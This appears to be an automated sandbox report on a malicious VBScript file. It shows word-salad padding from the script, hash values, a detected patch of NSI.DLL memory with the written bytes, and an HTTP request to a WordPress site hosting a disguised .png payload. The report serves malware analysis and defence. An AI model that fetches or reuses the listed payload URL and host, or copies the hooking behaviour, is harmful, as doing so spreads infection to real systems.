"ively numberers cycads Aethelbert septillionth really-truly yellow-papered tyrannic capitulant unbuoyant ethnobotanical disjuncts Eanore intonations Cameroons undeclinableness regratingly anteconsonantal chicote meningorrhagia cuttoe jnana-marga calk micromerism noncorrupt Linette throngingly overdiligent doorframe asleep talalgia mandarinship Thorr unsecretarial uncollapsible hydraulico- hordes phalangic knouts masochist antsigne revenger tambreet bimilllennia skin-shifter neuropharmacological caseinogen mourns mestinoes dewools Winthrop irking tonitruous self-estimation pre-elective subperitoneal twitteringly poaceous Ibsenite multiaxial outrival savoying aposporous anthomedusan risked ferromagnetic high-embowed preventability Cercolabidae overshine phallaneurysm finkel triggers dsect catholicise TFX copiapite ESOP nymphlin tidbit fardel Lampsilus downtrend premunire Peronismo beckoningly nonviolable humbuggers editorializations unchagrined sea-goddess tombs tingible habilitation riveling unplantable likabl" (Indicator: "twitter") - source
- File/Memory
- relevance
- 7/10
-
Found a reference to a known community page
-
Unusual Characteristics
-
Installs hooks/patches the running process
- details
- "wscript.exe" wrote bytes "c04e1b7720541c77e0651c77b5381d770000000000d0407500000000c5ea40750000000088ea407500000000e968297582281d77ee291d7700000000d2692975000000007dbb40750000000009be297500000000ba18407500000000" to virtual address "0x77301000" (part of module "NSI.DLL")
- source
- Hook Detection
- relevance
- 10/10
- ATT&CK ID
- T1179 (Show technique in the MITRE ATT&CK™ matrix)
-
Installs hooks/patches the running process
File Details
JVC_89412.vbs
- Filename
- JVC_89412.vbs
- Size
- 3.6MiB (3735019 bytes)
- Type
- script vbs
- Description
- ASCII text, with very long lines
- Architecture
- WINDOWS
- SHA256
- 55f4fb862882e7d2654c08eeaf555ef578506b92d656de074952e84c3199062d
- MD5
- 431d0916022103f4769efb89b566bc58
- SHA1
- a3ce6079abb4ce9b7bd2f1379806be9f8646f9b2
- ssdeep
- 49152:Mrq68liMJn23isrYqWsrf4z1NN2Gx1uRrNbef5EE9dCWjZcR5NeepJC3:VZ
Screenshots
Loading content, please wait...
Hybrid Analysis
Tip: Click an analysed process below to view more details.
Analysed 1 process in total (System Resource Monitor).
- wscript.exe "C:\JVC_89412.vbs" (PID: 312)
Network Analysis
DNS Requests
Domain | Address | Registrar | Country |
---|---|---|---|
campellicosmeticos.com.br
OSINT |
35.231.146.96
TTL: 3420 |
- | United States |
Contacted Hosts
IP Address | Port/Protocol | Associated Process | Details |
---|---|---|---|
35.231.146.96 |
80
TCP |
wscript.exe PID: 312 |
United States |
Contacted Countries
HTTP Traffic
Endpoint | Request | URL | |
---|---|---|---|
35.231.146.96:80 (campellicosmeticos.com.br) | GET | campellicosmeticos.com.br/wp-content/uploads/2019/11/word/aaaaa.png | GET /wp-content/uploads/2019/11/word/aaaaa.png HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: en-us
User-Agent: Windows
Host: campellicosmeticos.com.br More Details |
Extracted Strings
Extracted Files
No significant files were extracted.